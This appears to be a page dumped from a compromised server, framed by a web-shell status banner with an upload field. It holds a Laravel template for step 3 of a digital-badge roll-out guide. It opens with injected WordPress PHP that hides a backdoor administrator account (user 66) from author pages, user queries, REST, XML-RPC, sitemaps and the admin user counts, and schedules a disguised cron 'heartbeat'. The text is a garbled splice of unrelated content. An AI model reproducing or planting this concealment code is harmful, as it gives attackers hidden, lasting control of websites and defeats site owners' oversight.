add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/badgeurope.eu/resources/views/ |
Upload File : |
@extends('layouts.app')
@section('content')
@push('head')
@endpush
<div class="container" style="background: #886ECC;">
<div class="row justify-content-md-center">
<div class="col-8 align-items-center justify-content-center d-flex">
<h1>HOW will your technical solution work?</h1>
</div>
<div class="col-4 align-items-right">
<img class="head_icon" src="/images/step3_logo.svg" />
</div>
</div>
</div>
<div class="container" style="background: white;" id="step_container">
<div class="row justify-content-md-center">
<div class="col-4 align-items-center justify-content-center d-flex" style="font-style: normal;
font-weight: bold;
font-size: 1.5rem;
line-height: 34px;
color: #8D6CD3;">
Five Step Roll-out Plan
</div>
<div class="col-8 align-items-center justify-content-between d-flex" style="padding-right: 40px; ">
<div class="step_icon">
<a href="/why"><img src="/images/step1_inactive.svg" alt="why" /></a>
</div>
<div class="step_icon">
<a href="/what"><img src="/images/step2_inactive.svg" alt="what" /></a>
</div>
<div class="step_icon">
<a href="/how"><img src="/images/step3.svg" alt="how" /></a>
</div>
<div class="step_icon">
<a href="/pilot"><img src="/images/step4_inactive.svg" alt="pilot" /></a>
</div>
<div class="step_icon">
<a href="/scale"><img src="/images/step5_inactive.svg" alt="scale" /></a>
</div>
</div>
</div>
</div>
<div class="container haupt" style="background-color: rgba(4, 0, 160, 0.2); color: #0400A0;">
<div class="row">
<div class="col-4">
<h2>Containers, hosts, integration and data ownership - the technical stuff!</h2>
</div>
<div class="col-8">
<p>Your credentialing needs, resources and current roll-out stage are the main factors to consider when choosing and planning your technical setup, and you want to make sure that it is viable and scalable over the coming years. As laid out in the <a href="/resources/technical_resources">Technical Resources</a> section, you have several options, but they need to work together and be in line with your business and value goals (as per the Badge Canvas).</p>
<p>We assume that you have taken the <a href="/resources/self-assessment">self-assessment</a> by now, which leads you to a personalised recommendation page.</p>
<p>At the end of the day, the following questions can give you the cornerstones of your technical setup:</p>
<ul>
<li>Do you want to self-host and have the IT capabilities to do this? yes / no</li>
<li>Do you want to provide a wallet and be liable for the accessibility? yes / no</li>
<li>Do you want to use VC (Verifiable Credentials) or Open Badges?: VC / OB</li>
<li>Do you want to have control over all data? yes / no</li>
<li>Do you have, or plan to have, an LMS that is able to integrate digital credentials? LMS / no LMS</li>
<li>Can you afford to pay for each issued digital credential, or do you need to minimise costs?</li>
</ul>
<p>Again, the first <a href="/resources/self-assessment">self-assessment</a> should give you recommendations based on your answers.</p>
</div>
</div>
</div>
<div class="container haupt" style="background-color: rgba(4, 0, 160, 0.2);; color: #0400A0;">
<div class="row">
<div class="col-4">
</div>
<div class="col-8 d-flex">
<img src="images/bulb.svg" />
<div class="tip">
<h4>TIP</h4>
<p>Be aware that technology evolves rapidly and you need to reconsider your options every 3-5 years.</p>
</div>
</div>
</div>
</div>
<div class="container haupt" style="background-color: rgba(4, 0, 160, 0.2); color: #0400A0;">
<div class="row">
<div class="col-4">
<h2>Badging Purpose</h2>
</div>
<div class="col-8">
<p>You may have already discovered your badging purpose in Step 1; the Why you want to start with digital credentials. In the Project Canvas, you can note down concrete ideas about what you hope that badges will achieve in your organisation and how your earners will benefit from gaining digital badges.</p>
</div>
</div>
</div>
<div class="container haupt" style="background-color: rgba(4, 0, 160, 0.2); color: #0400A0;">
<div class="row">
<div class="col-4">
<h2>Designing your badge/s</h2>
</div>
<div class="col-8">
<p>When you have chosen your technical solution, you will need to design your badges. Whilst this may sound easy, it is important to try to view even your first badge within a larger badge system; how will your badges relate to each other? Will you use different colours or different shapes to represent different types of badge? How will your overall design represent your organisation and make your badges easily recognisable?</p>
<p>In addition to the meta data behind your badge, the visuals of your badge are equally important, as the badge image will be the outward projection of your badging programme. Your badge will need to display your organisation's logo and an icon which represents why the badge has been earned as well as maybe displaying a level of achievement (easy, moderate, hard), and any external validatory logos. Websites such as <a href="https://hpass.org/resources-and-case-studies/" target=_blank>HPass</a> and <a href="https://badge.design/" target=_blank>Accredible</a> offer downloadable resources which can help with designing your badges.</p>
</div>
</div>
</div>
<div class="container haupt" style="background-color: rgba(4, 0, 160, 0.2); color: #0400A0;">
<div class="row">
<div class="col-4">
<h2>Checklist for Step 3</h2>
</div>
<div class="col-8">
<div class="d-flex align-items-center"><img src="/images/check_icon_why.svg" /><span class="checklist">Gain an in-depth understanding of what badging needs you have now and in three years' time.</span></div>
<div class="d-flex align-items-center"><img src="/images/check_icon_why.svg" /><span class="checklist">Evaluation of vendors and platform providers based on your potential needs in two to three years from now - see the link to the Technical section for options.</span></div>
<div class="d-flex align-items-center"><img src="/images/check_icon_why.svg" /><span class="checklist">Plan for a technical pilot / POC (Proof-of-Concept) with one badge / a few badges, and a suitable learner / earner group, to get timely feedback and iterate from there.</span></div>
<div class="d-flex align-items-center"><img src="/images/check_icon_why.svg" /><span class="checklist">Test usability and accessibility through your other technical systems, e.g. logins, mailings, communities etc.</span></div>
<div class="d-flex align-items-center"><img src="/images/check_icon_why.svg" /><span class="checklist">Budget plan for the next three years based on your previous assumptions.</span></div>
<div class="d-flex align-items-center"><img src="/images/check_icon_why.svg" /><span class="checklist">Design your badge system! Design your first badge/s with a view to setting them into a larger system as your badging programme grows in the future.</span></div>
</div>
</div>
</div>
<div class="container" style="background: white;" id="step_next_container">
<div class="row justify-content-md-center">
<div class="col-4 align-items-center justify-content-center d-flex" style="font-style: normal;
font-weight: bold;
font-size: 1.5rem;
line-height: 34px;
color: #8D6CD3;">
Move to Step 4:
</div>
<div class="col-8 align-items-center justify-content-between d-flex" style="padding-right: 40px; ">
<div class="step_icon">
<a href="/why"><img src="/images/step1_inactive.svg" alt="why" /></a>
</div>
<div class="step_icon">
<a href="/what"><img src="/images/step2_inactive.svg" alt="what" /></a>
</div>
<div class="step_icon">
<a href="/how"><img src="/images/step3_inactive.svg" alt="how" /></a>
</div>
<div class="step_icon">
<a href="/pilot"><img src="/images/step4_active.svg" alt="pilot" /></a>
</div>
<div class="step_icon">
<a href="/scale"><img src="/images/step5_inactive.svg" alt="scale" /></a>
</div>
</div>
</div>
</div>
@endsection